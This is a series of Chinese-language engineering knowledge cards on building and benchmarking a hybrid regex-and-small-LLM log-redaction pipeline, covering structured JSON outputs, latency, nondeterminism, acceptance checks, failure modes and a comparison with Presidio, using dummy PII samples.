是什么:代码围栏(markdown code fence)是 Markdown 文档里用三个反引号包住代码块的书写标记——CommonMark(Markdown 的标准化规范)给的定义:"A code fence is a sequence of at least three consecutive backtick characters (`) or tildes (~)."—至少三个连续反引号或波浪号(不可混用)。起始行反引号后面的那段文字叫 info string(围栏信息串,惯例用作语言标注, ``json 里的 json 就是它)。放到 LLM 输出语境,它指一种反直觉的失败形态——明确要求"只输出 JSON",小模型却把 JSON 整体包进围栏、有时再添一句客套话交卷。指令的大方向跟得住,输出格式管不住——"差不多听话",但不精确服从。实测长这样:指令是"从这句话提取手机号,只输出 JSON: {\"phone\": 号码}\"。号码提对了,message.content 的原样文本却是下面这样——缩进显示,围栏是内容的一部分:

```
```json
{"phone": "13812345678"}
```
```

解决什么问题:先点破一层——围栏是 Markdown 的语法结构,不是 JSON 的一部分,模型这么交卷等于擅自换了输出格式;解析器不认情面——对这段文本直接调 json.loads() (把 JSON 文本还原成程序里数据结构的标准操作)当场报错,因为首尾混进了非 JSON 字符。结构化任务的输出要进程序,格式错一点就断在解析上;指望"在提示词里更凶地

求它"治不好,围栏只是格式失控的症状之一。围栏包裹也并非 0.6B 独有,同类报告在更大模型上也有。更准的说法是:模型越小,格式服从性越差——0.6B 只是把这个问题放大到必现。云端官方文档也早把"求"与"锁"分了档:OpenAI/Azure 的 `json_object` 档只敢承诺 "guaranteed valid JSON"(仅保证是合法 JSON),结构服从是 `json_schema` 档的事(官方说 JSON mode "couldn't ensure strict adherence to the supplied schema",即无法确保严格遵从所给的 schema)。

我们的办法:两条修法里选了稳的那条——让推理服务在解码层强制合法 JSON(即"结构化输出",机制另有专卡),不选自己拿字符串剥围栏;剥法赌的是模型不换花样,它哪天加一句"好的,以下是结果"就破。

日志脱敏复刻0007-LLM引擎 —— 知识卡片

解码层结构化输出(structured outputs)

是什么:结构化输出(structured outputs)是推理服务在解码层(模型逐个 token 生成的环节)强制输出合法 JSON(JSON,一种键值对文本格式)的机制;请求里附一份 JSON Schema(描述"JSON 该有哪些字段、什么类型"的标准规范),模型每生成一个 token,服务只放行能让全文继续符合该 schema 的候选,不合规的 token 直接被屏蔽。Ollama 的开关是请求体里的 `"format"` 字段。"解码层"三个字有官方出处:GBNF(GGML BNF——llama.cpp 自家的形式文法格式,官方定义 "a format for defining formal grammars to constrain model outputs",即用形式文法约束模型输出的格式)就工作在解码层。llama.cpp 官方还写明:schema 只用于约束输出、不会被注入提示词,且只支持 JSON Schema 的一个子集(官方原话 "supports converting a subset of JSON Schema to GBNF")。

同一机制,三套方言:Ollama 的 `format` 落到底层引擎 llama.cpp 的 GBNF;vLLM(常用的开源推理服务框架)的 `structured_outputs` 落到 xgrammar/guidance(两个开源语法约束引擎);OpenAI 云端是 `response_format` 的 `json_schema(strict)`档——约束落在哪层各家不同,靠 schema 约束输出这件事是同一个。

解决什么问题:它把"模型守不守格式"从概率事件变成必然事件。提示词里求它输出 JSON 是"劝"——模型可以不听,围栏、客套话照加;`format` 是"拦"——不合式的 token 根本没机会生成,围栏在机制上就出不来。不过措辞别越界:Ollama 官方的承诺只是 "More reliability and consistency than JSON mode"(比 JSON 模式更可靠、更一致),通篇没有 `guarantee`(保证)字样;敢写 "guaranteed valid JSON" 的是 OpenAI/Azure——`json_object` 档只保合法性,结构服从要上 `json_schema` 档(官方说 JSON mode "couldn't ensure strict adherence to the supplied schema",即无法确保严格遵从所给的 schema;见"OpenAI 兼容端点"专卡)。官方还提醒:`format` 模式下提示词里仍应要求输出 JSON;OpenAI 对 `json_object` 档的同类警告更具体——不嘱咐就可能吐出无边无际的空白直到 token 上限。"拦"再硬,"劝"的话术也得留着。保证的边界要认清:`format` 只保证格式合规(字段齐、类型对),不保证内容对——`value` 是否逐字来自原文,它管不着;有公开研究实测,强制格式约束本身会压低推理质量——合规的内容未必更好。内容层要靠下游把关,即回填验收闸自造。跨引擎还有个坑:OpenAI 的 `strict` 档硬性要求所有字段都列进 `required`(必填清单)、`additionalProperties` 设为 `false`(不许出现 schema 之外的字段),Ollama/llama.cpp 没有这层硬限——同一份 schema 换引擎不一定通用。

我们的办法:检测引擎每次请求都附 `format schema`——声明输出必须是含 `pii_items` 数组的对象,形如 `{"type":"object","required":["pii_items"]}`——再配 `temperature:0.1` 与 `seed:42` (前者求稳不要创意、后者固定随机种子让同输入可复现并给基准对比兜底)。实测 content 变成纯 JSON、围栏绝迹,解析直接成功。

首 token 延迟与冷加载(Time To First Token / cold start)

是什么:首 token 延迟(TTFT,即 Time To First Token)是从请求发出到模型吐出第一个 token 之间的耗时,度量"等多久才开始有响应"。这个指标有两套口径:学术口径(如 DistServe 这类推理服务系统的论文)把它算在 `prefill`(读入整段提示词、算出首个输出 token 的阶段)头上;工程口径是 vLLM(常用的开源推理引擎)基准工具的算法——从客户端计时。冷加载(cold start)指模型还没驻留在内存/显存、须先把权重从硬盘搬进去的那次性开销(可全进 GPU 显存、全进 CPU 内存或两者混合)。

口径与邻居指标:本文口径从客户端计——请求发出记一个时刻,流式响应里第一行带 `thinking` 或 `content` 的数据到达再记一个,两者之差就是 TTFT。这个起算点与工程口径一致:qwen3 的思考 token 也是输出 token,写明免得日后对不上数。顺带记一个邻居指标:TPOT(每输出 token 平均耗时)=(总延迟-TTFT)/(输出 token 数-1),首 token 不计入。

解决什么问题:端侧单次推理的总耗时里混着两种性质不同的钱——一次性的冷加载,与每次都付的推理;不拆开就答不了"该优化什么"。实测拆开的结论很干脆:冷启动 1717ms(内含把约 500MB 模型搬进内存/显存),模型热了以后 58~131ms——大头是冷加载,不是推理速度。拆解其实不必掐表:done 行的 `load_duration` (官方定义 "time spent in nanoseconds loading the model")就是冷加载耗时;三段加起来约等于总耗时($\text{total_duration} \approx \text{load_duration} + \text{prompt_eval_duration} + \text{eval_duration}$),一段请求三笔钱分得清清楚楚。这个数字还解释两件事。其一,推理服务为何值得常驻:模型驻留由 `keep_alive` (控制模型加载后驻留多久的参数)管——默认 5 分钟后卸出内存/显存;设 0 请求完立即卸;设 -1 永驻;也可用 `ollama stop` 手动卸;过期再请求,就重新付一次冷加载。其二,性能基准为何要先暖机:官方 FAQ 的做法是先给服务器发一个空请求即可预载(preload)模型;不暖机,测到的成绩是被冷启动污染的。

我们的办法:每条日志的检测都随行记录 TTFT、总耗时与两端 token 数;实测同批几条请求的第一条 TTFT 明显高于后几条,冷热差异在指标里一眼可见。

小模型语义检测的能力画像(semantic detection capability profile)

是什么:能力画像是把一个引擎"能干什么、干不好什么"如实测下来、不许美化的档案;0.6B 级小模型做敏感信息语义检测的画像,一句话概括:能圈出"这附近有高敏"自造,但召回不稳、值不干净。官方佐证顺带一提:Qwen3 官方对 0.6B 只公布参数量与上下文长度,没有任何能力承诺——小模型的本事官方不背书,画像只能自己实测。画像的价值在于它是下游设计决策的证据——美化它,等于骗后面动工的自己。

正反两面实测:正面是住址"上海市浦东新区桂花路333弄12号502"这类没有稳定格式的最高敏个人信息——正则给无限时间也写不出,小模型能整段抓到。这就是语义引擎存在的全部理由。两引擎地盘互补的分工,见混合脱敏管道自造。分层并非野路子:微软开源的文本脱敏框架 Presidio 走的就是"NER(Named Entity Recognition,命名实体识别)+正则+校验位+上下文"多 recognizer(识别器)分层,检测(Analyzer)与处置(Anonymizer)分离——行业标准里早有同款参照。反面是两种病。其一,召回不稳:同一批样本里,有思考了三百多字、最后报"没有"的整条漏检,也有盯住了身份证、却漏掉同句手机号的半漏。这个观察要跟学术结论对表小心:有评测研究显示,微调后的轻量模型能追平大体量零样本模型——前提是领域微调+特定任务场景;这里是零样本(zero-shot,不给微调样本、直接上场)的通用个人信息检测——场景不同,"召回不稳"与论文并不矛盾,直接引用才会误读。其二,值不干净:prompt 里三令五申"逐字复制原文",它交回的 value 照样混进键名前缀(如 `card: 4111 1111 1111 1111`),甚至混进思考标签碎片(`/think`)——后者已经根本不是原文的子串。

解决什么问题:这份画像直接回答"模型输出能不能直接信":不能。提示词约束是概率性的沟通,不是执法(同族原则已有专卡);对模型的正确期待是"大致可靠",工程要按"必然出错"设计——它报的每一项,下游都得过确定性验收(即上文那道逐字验收闸)。画像同时是证据强度分级(按"脱敏决定可不可举证"给各引擎排序的谱;已有专卡)的注脚。语义引擎在其中最弱,给不出"为什么这里敏感"的可举证理由。画像还可以怎么记:公开发表的 LLM 个人信息脱敏评测框架 (PRvL)把指标立成三条——检出性能、语义保留、泄漏率(漏网的敏感信息占比);第三条正是逐字验收闸要拦的东西。

我们的办法:引擎用 system prompt 给出敏感类别清单、用 format schema 锁格式,检出项随行带延迟与 token 指标;画像如实入档,当作后续加装逐字验收与引擎分工拍板的直接依据。

日志脱敏复刻0008-回填验收与失败模式 —— 知识卡片

原文出现检查(verbatim occurrence check)

是什么:原文出现检查是一个确定性谓词(输入定了、结果就定的判断式,由机器判定,不掺模型的主观),判断"模型给出的替换值是否是原文的子串"。它是回填验收闸自造的核心判定,参考实现里叫它"值出现在文本中"检查。判定式是 `value.lower() in text.lower()`:两边都转小写再比对,容忍模型改写大小写——模型报 `ALICE@CORP.COM` 而原文是小写 `alice@corp.com`,照样过闸。这个判定有官方背书:Python 文档原话是"空串总被视为任何字符串的子串"(Empty strings are always considered to be a substring of any other string),并给出等价写法 `y.find(x) != -1` (find 找不到才返回 -1)。

解决什么问题:它把"模型的话"翻译回"文本里的坐标"——模型的输出是不可信的值,但"这串值在不在原文里"机器说一不二,不可信的建议接上确定性的检查,才变成可信的操作。两个坑要挡在门外:一是空串, `'' in 'abc'` 为 True,不先排除,模型交白卷也能过闸;二是正则元字符,但不要转义取决于替换机制——若用 `str.replace` (按字面做文本替换的方法),值只是普通文本,完全不需要转义;只有把值直接当正则模式用(比如 `re.sub` 的第一个参数传值)才需要先 `re.escape` (把字符串里的正则特殊字符转义的标准操作),Python 3.7 起它只转义真正可能在正则里有特殊含义的字符

(最小转义)。官方还特别提醒:re.escape 的输出不能拿去当 re.sub 的替换参数——替换参数里只有反斜杠需要转义,转义用错了地方,替换结果照样错。还有一个易误判处:"是子串"不等于"是干净的值"——模型报 card: 4111 1111 1111 1111 能过闸,但键名 card: 被连着一一起替换掉了,过闸只是必要条件,不是充分条件。

我们的办法:每个模型报出的值先过这个谓词、再回填,替换按值的长度降序进行,先长后短,防止短值先动刀破坏长值的匹配位置——与规则引擎的重叠裁决自造是同一思想。

检出≠脱成(detection ≠ redaction)

是什么:"检出≠脱成"指敏感信息被检测出来,不等于它被安全替换掉了——从"看见"到"换掉"之间还隔着一,这一步自己会失败。它是残余泄露(脱敏完成后仍留在文本里的敏感信息)的一种来源,且与漏检不同:漏检是引擎没看见,这是一种是看见了、也判对了,却没能替换。业界的成熟框架也是这么分家的:Microsoft 的 Presidio(开源的个人敏感信息识别与匿名化框架)把 detection(识别)与 anonymization(匿名化)拆成两个模块。后者只作用于前者的输出,而且默认只替换检出的片段、未识别内容原样不动。

怎么发生的:端侧小模型检出了社保号,判得对,但报出的值不干净:holder_ssn: 123-45-6789 /think。尾巴 /think 是模型思考标签的碎片,不是原文的子串——过不了验收闸(验收闸=模型报值回填前的逐字子串检查,已有专卡),被拒收,原值不动。回填后的文本里,社保号原样躺着:

```
[PAYMENT] order 20260831-0042 charged
[REDACTED_敏感值]
holder_ssn: 123-45-6789      ← SSN 原样留在文本里
```

解决什么问题:它点破验收闸的能力边界——闸保护的是"不做错误的替换",不保证"该替换的都替换了",拒收不等于安全;"闸不管漏检"也是行业常态,Presidio 对未识别内容默认不动就是佐证。描述性短语同理:模型交回"用户的网银登录口令"这类转述,判得再对也无处落刀。要量化这类泄露,得靠专门的残余泄露指标,光数检出项没用。

我们的办法:引擎分工从源头减少——格式型值(社保号和各类卡号、手机号)的字符区间正则永远给得准,交给正则先行兜住;LLM 只管它真正的主场,即住址、自然语言口令这类语义类别,值不干净的情形随之变少。

端侧推理非确定性(LLM inference nondeterminism)

是什么:端侧推理的非确定性是指同配置重复推理仍可能得到不同输出的现象。同一条提示词、同一个随机种子,在同一台机器上跑两次,端侧模型(跑在本地设备上的模型)的答案也可能不一样。官方归因很具体:浮点加法不满足结合律,(a+b)+c 不总等于 a+(b+c),大量浮点求和时先加谁后加谁(归约顺序)不同,结果就差一点点。误差逐层放大,足以翻转模型的最终判断——而归约顺序由 kernel(计算核函数)、批次组成与线程调度决定,不是纯硬件层的锅。PyTorch 官方把 randomness(随机性)与 nondeterministic algorithms(非确定算法)列为两个独立来源,种子只管前者;推理服务文献给后者的标准术语是 batch invariance(批次不变性,要求每个元素的归约顺序不随批次大小改变)——它点明这不是随机,是顺序依赖。

实测的样子:同一条日志样本、同一配置跑两次,一次报 0 个敏感项、一次报 2 个——两次都是"真"的,这不是代码 bug,是物理现实。

解决什么问题:它修正对"可复现"的期待。固定随机种子(seed,控制模型采样随机性的参数)只锁得住软件层,锁不住归约顺序;vLLM(流行的开源大模型推理服务)的 FAQ 说得很直白:同样的请求可能被打包进不同的批次,逐步产生略微不同的 logits(模型对每个候选 token 的打分),分歧一旦开始,后续只会越岔越远。推理服务文档给的缓解有关键计算用 float32(更高精度的浮点格式)、temperature>0(采样温度,控制采样随机性的参数)时给请求固定种子;PyTorch 另有强制确定性算法的开关——都带性能代价。评测基准跑一次只是一次抽样,单次跑分里的个别出入可能只是这种噪声,不说明引擎退步或进步。

我们的办法:把"同配置复跑会有出入"当作默认认知,关键结论不建立在单次运行上。

日志脱敏复刻0009-混合管道 —— 知识卡片

补位不替补自造

是什么:补位不替补自造是双引擎脱敏管道的调度设计,在组合文献里属于 parallel ensemble(并行组合:两引擎都全量跑,结果合并去重)。反面写法是条件触发——便宜引擎零命中才请贵引擎出场。动机是单引擎都有死穴:正则微秒级出结果,却抓不住"上海市浦东新区桂花路333弄12号502"这种没有固定格式的住址;LLM 抓得住住址,但单次要两秒以上、报出的值还不干净。要解的从来不是"选哪个引擎",而是"怎么排班"。

解决什么问题:防的是排班错误导致的漏脱,尤其是条件触发。文献里的 cascade(级联)正是靠条件触发省钱:FrugalGPT(提出级联调用思路的知名论文)的思路是先用最便宜的模型回答请求、必要时才升级到更贵的模型(原文:LLM cascade answers a query with cheap LLMs first, escalating to more expensive ones only when needed)。级联敢触发,是因为配了专门的打分器来判"结果可不可接受"——脱敏管道里没有这种判定器,"正则零命中"不是一个合格的触发条件,它隐含"没有格式型敏感就没有语义型敏感"的假设。一条混合样本当场证伪:

客服记录:请把补办证件寄到 上海市浦东新区桂花路333弄12号502,收件人电话 13812345678。

正则命中手机号(它的地盘),触发条件不成立,LLM 没跑——住址(LLM 的地盘)原样留在脱敏结果里。两种敏感住在同一条日志,条件触发就注定漏掉第二种;结论是脱敏系统保完备优先于省钱,漏一条住址是事故,每条多花两秒不是——这与成本敏感的级联取向正相反,是召回优先的并行组合取舍。补扫对象选"脱敏后的文本"还有个工程红利:回填按文本顺序逐层替换即可,不必把模型报的字符区间换算回原文坐标。

我们的办法:正则先扫全量,LLM 在脱敏后的文本上总跑一遍、专找正则够不着的语义类别,两段命中合并去重——标准的并行组合写法。回归里固定加入两类敏感同现一条日志的组合样本——排班策略要拿最刁的组合考,不能只拿各引擎擅长的单类样本考。

枚举约束(JSON Schema enum)

是什么:enum 是 JSON Schema(描述"JSON 该有哪些字段、什么类型、取值范围"的标准规范)的关键字,把某个字段的取值从"随便写"收窄成"只能从名单里选"。官方语义是"把取值限制到一个固定集合"(restrict a value to a fixed set of values):实例值与名单元素逐一相等比较,相等即通过。它配合结构化输出(structured outputs,在解码层强制输出合法 JSON 的机制,已有专卡)生效。这套组合在文献里有专名:constrained decoding(约束解码)——schema 被编译成有限状态机,解码器每走一步都对词表的 logits(候选 token 的打分)做屏蔽,不在名单里的 token 概率直接归零。这不是劝它别乱写——它根本写不出来。

解决什么问题:小模型给所有检出项填同一个含糊类别,比如全部写"敏感值",占位符就全变成 [REDACTED_敏感值]。脱敏后文本里看不出哪处原来是卡号、哪处原来是住址,类别区分度全丢。给 type 字段配上中文类别名单(身份证号、住址、口令、金融 PIN 等)后,占位符变成 [REDACTED_住址] 这样逐项准确的样子。

一个反向设计决策:名单故意不含手机号、邮箱、银行卡号这些格式型类别——那是正则引擎的地盘,写进名单反而诱导 LLM 越界抢活,又慢又容易跟正则的精确结果打架。

我们的办法:检测 schema 的 type 字段配 enum 名单,实测占位符类别从此逐项准确。名单同时活在 schema、提示词的类别清单与代码常量三处,改一处必改三处——这个重复可以用代码生成消除。

占位符污染自造

是什么:占位符污染[自造]是补扫型管道的一种自伤形态——LLM 在"已脱敏文本"上补扫时,把上一道工序留下的占位符(如 [REDACTED_PHONE],替换敏感值后留下的标记)本身当成了敏感值。它阴险在能通过逐字验收:占位符确实逐字出现在文本里,子串检查挑不出任何毛病。

解决什么问题:不防的话,模型会报出 {"type": "phone", "value": "[REDACTED_PHONE]"} 这类检出项并通过验收,回填后占位符被再套一层标记,文本被反复污染,命中统计也被假命中灌水。占位符能过逐字验收,不是验收谓词写错了——谓词本身正确。错在占位符是上一道工序人为引入的新文本,它长得就像一个待脱敏的值,识别器没有任何理由不把它当敏感值。社区里常见的两条实践可作旁证,Presidio(开源的个人敏感信息识别与匿名化框架)生态就有:占位符形状要选得让后续识别器不命中;标准做法是基于匿名化返回的替换区间追踪,而不是对脱敏文本重跑识别。补扫选"脱敏后文本"拿了逐层回填的工程红利,就要付"占位符进管道"的代价——过滤规则就是这份账单。

我们的办法:补扫收数前加一条硬规则——以 [REDACTED 开头的检出值一律不收;这个判断是纯字符串前缀匹配,不依赖模型自觉。

引擎互不裁判自造

是什么:引擎互不裁判[自造]是双引擎脱敏的裁决原则:两引擎的输出可互当参考,但不互当验收的金标,验收只对统一的人工标注答案进行。它针对的事实是:两个脱敏引擎都会误报,但错的维度不同。正则错在形状巧合——把长得像手机号的纳秒计时值 `latency_ns=13800138000` 当成真命中。LLM 错在语义猜疑——干净日志时多检出,而且非确定性地时有无。

为什么重要:两个引擎的典型错误发生在不同维度,机器学习文献把这叫 error diversity(错误多样性),并给出组合有价值的条件:成员既要各自够准(accurate),又要互相不同(diverse)。正因犯错维度不同,组合才可能比任何单引擎准——所以引擎之间做共识、投票本是标准手段,业界的银标语料(silver standard,由多引擎共识自动生成的标注)就是这么来的。但组合的裁判必须独立于成员:若用"另一个引擎没检出"去否决某个命中,能执行的只剩"两引擎都命中才保留"——LLM 检出而正则看不见的住址会被整批错杀,误报没少多少,真报先死了。验收评测只能对金标(gold standard,由专家人工标注的答案)进行,让引擎同场对分。

我们怎么用:引擎行为用统一的人工标注基准量化,对上真值的命中才算对;引擎之间可以互看输出当参考,但不拿彼此当验收的裁判。

日志脱敏复刻0010-campaign基准 —— 知识卡片

脱敏基准五指标(precision / recall / leakage / utility / latency)

是什么:脱敏基准五指标是把一个脱敏引擎的成绩拆成五个互相制衡的读数。查准率 P(precision,机器学习评测库scikit-learn 的官方直觉解释:不把负样本误标成正样本的能力;落到本场景就是检出的值里真敏感的占比)。查全率 R(recall,官方直觉解释:把所有正样本都找出来的能力;落到本场景就是该脱的里真脱掉的占比)。残余泄露是 gold 值在脱敏后文本里仍然出现的条数(gold standard 即人工标注的标准答案)。效用 utility 是自造度量:1 - 误脱字符数 ÷ 非敏感字符数,衡量脱敏后的日志还剩多少排障价值;文献里对应的是 span 重合度——脱敏区间与标准答案区间的重叠程度。延迟是单条处理耗时。五个指标互相制衡。美国国家标准技术研究院的脱标识研究报告把这叫"平衡互相矛盾的目标"。近年面向大语言模型的 PII 脱敏评测框架也按几乎相同的维度拆分(脱敏表现 / 语义保留 / PII 泄露 / 延迟成本),可视为这五项的学术血缘。四项里只有泄露是安全指标、权重最高:P 低意味着误报多,代价是效用下降;R 低意味着漏报多,直接兑现成泄露。

为什么重要:它让"哪个引擎好"从吵架变成读数,而且五个读数互相揭短——标准评测基准的自我定位正是"让取舍(trade-off)清晰地暴露出来"——单看任何一个都会选错引擎。实测汇总(正则 / LLM / 混合三家):

| 引擎 | P | R | utility | 泄露 | 均延迟 |
|--------|------|------|---------|----|--------|
| regex | 0.85 | 0.62 | 0.94 | 8 | 0.1ms |
| llm | 0.88 | 0.61 | 0.95 | 10 | 2749ms |
| hybrid | 0.76 | 0.94 | 0.86 | 2 | 2657ms |

正则的效用与延迟全场最优,但 R 只有 0.62——该脱的近四成没脱;LLM 名为语义引擎,泄露 10 反而比正则的 8 还多,它抓不住连接串口令、邮箱这类"格式活"——语义引擎不是万能引擎,它只在语义类别上是引擎;混合管道用全场最低的 P 换最高的 R 与最低的泄露。安全场景里泄露是事故、误报只是调试不便,买召回是对的(这套调度的取舍另有专卡:补位不替补[自造],指补扫引擎(hybrid 管道里第二棒的 LLM 全文再扫)只补召回缺口、不承担修正第一棒误报的分工原则)。记分还有两个防作弊约定。其一:预测为空且 gold 也为空(负例)时,P 本无定义,本项目显式记 1.0——什么都没检、至少没检错,这正是负例用例希望看到的答案;gold 有正例时空预测的代价由 R=0 兑现。这里要跟评测库的默认约定划清边界:scikit-learn 这类库的默认行为是记 0(只附带一条警告),本项目显式选 1.0。其二:utility 的分母取"非敏感字符数"而非全文长度,防止误脱被长文本稀释、分数虚高;分母可能为零(全文皆敏感)时需另行约定。泄露是唯一该归零的指标:P、R、utility 都是权衡,只有泄露(该脱没脱)没有借口,它对应真实事故。

我们怎么用:在 12 个带 gold 标注的用例上逐引擎算全五项,先出逐用例明细行、再出汇总表;端侧推理非确定性(同配置复跑结果会漂移,已有专卡)允许 ±0.1 的波动,结论只看量级、不抠小数。

同卷同考(same-exam engine comparison)

是什么:同卷同考[自造]是引擎选型的裁决方法:所有候选引擎做同一批带标准答案的考卷自造,再用同一套指标记分。这也是评测领域的通行做法——斯坦福的 HELM 基准开宗明义:所有模型在同一批核心场景与指标上、在标准化条件下接受评测。选型争论的终局不是谁说服谁,是同卷同考、看分。

为什么重要:跑分前攒下的全是"体感"——规则快但抓不住住址、LLM 会漏、管道能互补——哪种印象都够人吵一架。体感不能拿去拍板,变成数字才敢写进生产方案、复盘时才敢举证。考卷的灵魂是负例(长得像敏感、其实不该脱的正常文本)与 decoy(诱饵题[自造]:形状像敏感值、但标准答案要求放行的陷阱样本)——去掉它们三家分数都会好看,但那是在考"会不会喊",不是考"该不该喊"。同一道题就能把三家的本性拍上桌面,一条标准答案为零敏感的负例:

| | | |
|--|--------|------------------------------|
| 性能指标:延迟 13800138000 ns,构建号 411111111111112,型号 XR-7003。 | | |
| regex | P=0.00 | 把延迟纳秒当手机号,错在形状巧合且错得自信 |
| llm | P=1.00 | 辨出"这是指标不是电话"——语义引擎的翻身仗 |
| hybrid | P=0.00 | 继承 regex 的误报——补扫救不了已经脱错的[自造] |

我们怎么用:考卷一次配齐格式类、语义类、负例、decoy 四类用例,三引擎各跑一遍,逐用例出明细再加汇总表。记分口径借鉴文献的 span 重合法:检出的区间与任一 gold 区间无重叠即记误报,gold 区间未被任何检出覆盖即记漏报——比"检出 / 该脱"的口算更精确。想自己设计一道三引擎全过的 decoy 都很难——负例设计是门手艺,试过才知道。

基准暴露失效模式(benchmark as failure-mode detector)

是什么:基准的第一作用不是排名,是暴露失效模式——统一跑分的过程本身就是失效模式的探测器(学术原型是 targeted evaluation:HELM 这类基准里专门用来分析某个具体方面的定向评测),没被基准踩过的失效模式会活着上生产。

为什么重要:引擎在开发期的小样本上看着正常,失效模式往往藏在组合路径里。实测案例是"占位符幻觉磁铁"自造:0.6B 端侧模型在已脱敏文本上补扫时,会从占位符 [REDACTED_URL_CRED] 里抠出内芯 REDACTED_URL_CRED、报成护照号。这比已知的占位符污染自造更隐蔽——模型报出的值不是占位符全文,"拦以 [REDACTED 开头的值"这条旧过滤规则正好放行它。跑分当场揪出,防御随即加强为"拦一切含 REDACTED 的值",补扫层的查准率从 0.69 回到 0.76。排名会过时,失效模式清单不会——清单直接变成过滤规则。

我们怎么用:跑分时逐用例核对每个误报与漏报的来源,发现新失效模式立即写成硬过滤规则,并且在在线管道与评测脚本两处同步打补丁。这与"评测脚本即回归防线"[自造]是同一件事的两面:基准把失效模式挖出来,回归防线保证它不再复发。补丁后重跑确认指标恢复。

并行组合继承误报(ensemble inherits false positives)

是什么:并行组合继承误报是 OR-union(取并集)式多引擎并行流水线的固有性质,不是所有组合方式的普遍性质:后补的引擎只会往上加检出,不会撤销第一棒已经犯下的误报。边界要划清:多数表决式的组合(如 scikit-learn 的投票集成)可以否决个别成员的误报,代价是牺牲召回;本项目是 OR-union——补扫只增不删,误报必然继承,组合的精确率被最误报的成员拖住。

解决什么问题:它解释混合管道的一个反直觉读数——精确率全场最低(P=0.76)却不必修。实测一条标准答案为零敏感的负例:正则把延迟纳秒 13800138000 当手机号替换掉,LLM 补扫本来一个都没报(单跑 P=1.00),组合成绩却仍是 P=0.00——补扫救不了已经脱错的文本。机制上,组合的召回取各成员命中的并集、可以超过任何一个成员,误报同样取并集、只能多不能少;这也是组合系统里典型的错误传播(error propagation):上游的错不会被下游自动洗掉,只会带着走。

我们的办法:降组合的误报只能回头修第一棒——正则的误报靠校验器(如银行卡 Luhn 校验位)与负例回归压制,实测正则单跑 P=0.85、可用;补扫层只承担增量召回,不承担纠错。机器学习里级联(cascade,多级串行)分类器的惯例是早期级调高查全率、把准头留给后级收紧,本项目正好相反:因为脱敏的"错"没法在下游洗掉,第一棒必须先保准头。

日志脱敏复刻0011-对照收官 —— 知识卡片

借用环境对照(borrowed environment + interface adapter)

是什么:借用环境对照自造是把装在另一个项目里的引擎请上自己考卷的对照姿势:运行环境借对方的——用装好对方依赖的 Python 解释器来跑自己写的对照脚本;接口靠适配层对接(借用经典的适配器 adapter 模式:把自己的数据包成对方函数认的形状)。两边代码一行都不改。

解决什么问题:被对照的 Presidio(微软开源的 PII 识别与匿名化引擎,已守着另一条已交付项目线的记忆出口(记忆库数据出口,即数据离开系统的那个文件口))连同它依赖的 spaCy(统计 NER 模型库)都装在那个项目自己的虚拟环境里(venv,Python 官方定义:一棵自包含的目录树,内含一套 Python 安装、外加额外安装的包)。本复刻标榜零依赖,不该为一次对照复制一整套环境;反过来,对方项目是与本复刻并行的成果,代码一行不能动。解法是"脚本留在自家、环境借对方":对照脚本放在自己项目里,脚本开头把对方项目目录临时挂进模块搜索路径(sys.path,Python 官方文档的定义:"一个字符串列表,规定了解释器查找模块的搜索路径"),import 对方的脱敏入口函数——只 import、勿改。顺便补一组官方区分:改 sys.path 只在本进程内临时生效,要持久化得靠 PYTHONPATH 环境变量或 .pth 文件——"临时挂进"这个用词恰好是准确的。

我们怎么用:适配层只有三行——把一段待检文本包成对方认的消息结构 [{"data": {"content": text}}] 再调用;同一批 12 个用例原样喂进去,统计口径与自家三引擎完全一致(替换处数 / 泄露 / 疑似误报),成绩才可比。

引擎错法画像(error signature profile)

是什么:引擎错法画像自造是给每类识别引擎记录"它典型地怎么错"的档案。同卷对照考出的三种错法各不相同:小 LLM 幻觉值(编出原文里不存在的字符串);NER(Named Entity Recognition,命名实体识别;spaCy 官方的描述是"给连续的词段(contiguous spans of tokens)打上类型标签"——只认类型标签、不判断值是不是真的)错标签——值是真的、类型给错;纯形状规则见数字就咬——没有校验器兜底的数字串一律命中。

为什么重要:错法不同,一种引擎的质检经验就不能套到另一种头上。实测 Presidio 交卷的三个镜头:护照号被内置 NER(spaCy)整段当成 PERSON 吃掉——歪打正着"脱掉了",但类型错、证据弱,NER 不幻觉值、它错标签(这正与 spaCy "给词段打标签"的官方定义自洽);货号 4429853328 被咬成 <PHONE_NUMBER>——10 位数字串没有校验器,纯形状匹配见了数字就咬,与自家负例误报同根源(校验位验证已有专卡);中文身份证号、手机号全中,靠的是预先注册的自定义中文识别器——spaCy 预训练模型共用的标签清单(Onot 体系的 PERSON、ORG、DATE...这套)里,根本没有"身份证号""手机号"这类类别,这就是"框架不认中文 PII"的文档依据,但框架允许你教它(已有专卡)。错法画像还戳破一个记分盲区:值从文本里消失了,泄露指标就记 0,哪怕这次"脱掉"靠的是错误的类型判断——脱敏评测文献把"脱敏表现 / 语义保留 / 泄露"分成三个维度记分,正因为单看泄露确实分不清"类型也脱对了"与"类型错了但值碰巧消失",指标看不见这种侥幸,得靠人工核对挑出来。

我们怎么用:第四引擎的错法与自家三引擎的错法并列入档,一起作为出口分工拍板的证据;复盘时对"歪打正着"的命中单独核对类型与证据,不当作干净得分。

按出口拍板引擎分工(per-egress engine assignment)

是什么:按出口拍板引擎分工[自造]是把脱敏选型的落点定在数据出口而非引擎技术上的决策方法。这个自造词没有现成的文献对应,概念血缘是欧盟《通用数据保护条例》GDPR 第 5 条的目的限制与数据最小化两条原则,以及美国国家标准技术研究院脱标识报告里"每种技术各有效用取舍"的提法。五维对照(检测面、守恒、幻觉、成本、可解释)都只是手段,最终结论要落成一张部署表——每个出口配哪层引擎、在线跑还是离线补扫;工程决策的粒度是部署位,不是技术名。

为什么重要:它防两种死法。一是复刻最容易死在"抄完了、跑通了,然后呢"——整个复刻攒下的代码要凝成一个可引用的结论,复刻才算闭环。二是各说各话的比较不是比较:比较必须同卷(同批用例、同口径,已有专卡),否则"另外两个出口该配什么"根本无从回答。同卷数据还教人谦虚:基准分数只对它所用的场景与指标负责——HELM 的前提正是"同一批核心场景与指标"才算同卷——Presidio 在它自己的评测语料上分数不低,在这批密钥加中文语义的考卷上泄露 11 处,而正则是 8、混合管道是 2。没有放之四海的引擎分,只有"在某类考卷上的分"——美国国家标准技术研究院的脱标识研究报告把这叫"平衡互相矛盾的目标"(使用/共享信息 vs 保护隐私);落到这五个指标上同样如此——不存在同时全优的配置,选型先定义自己的考卷。

